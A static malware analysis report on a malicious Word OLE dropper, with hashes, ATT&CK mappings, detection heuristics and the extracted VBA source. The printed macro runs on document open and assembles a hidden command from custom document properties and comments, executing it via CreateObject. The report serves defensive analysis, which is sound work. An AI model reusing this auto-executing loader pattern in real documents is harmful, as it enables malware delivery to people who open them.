Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1f2b165e7c93f85a…

MALICIOUS

Office (OLE)

50.5 KB Created: 2017-07-31 20:41:00 Authoring application: Microsoft Office Word First seen: 2018-02-08
MD5: e9d4ae836827999c00fcb45bc5c69595 SHA-1: 9f1def3047905aa76c959a52d7545dfa44cb98a8 SHA-256: 1f2b165e7c93f85a67be52ffb8a222389957fb979c0f8d93a8db5ac89abf7cfa
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains a VBA macro with an autoopen subroutine, which is a common technique for executing malicious code upon document opening. The script uses CreateObject to execute a command constructed from various document properties and comments, indicating an attempt to download and run a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-6434856-0' further supports its malicious nature as a dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6434856-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6434856-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 956 bytes
SHA-256: 8c1bb8e2aa45da80d492c720d95cfdec33168d84972c8346d388d6ccb5305980
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub autoopen()
ubGvKdsLiOtZ
End Sub
Public Function ubGvKdsLiOtZ()
YIFVUalrmxTp = ActiveDocument.CustomDocumentProperties("pdFLsjfDml") + ActiveDocument.CustomDocumentProperties("pGPzgTwECo")
fVwAlobGLBkD = ActiveDocument.CustomDocumentProperties("pwYrzuNRKy") + ActiveDocument.CustomDocumentProperties("TxvItpZidg")
NnMcFdzEPfTA = YIFVUalrmxTp + ActiveDocument.CustomDocumentProperties("EuoPFUGrkh") + ActiveDocument.CustomDocumentProperties("RbzVANFwgJ") + ActiveDocument.BuiltInDocumentProperties("Comments")
CreateObject(fVwAlobGLBkD + ActiveDocument.CustomDocumentProperties("EuoPFUGrkh")).Run$ NnMcFdzEPfTA, 0
End Function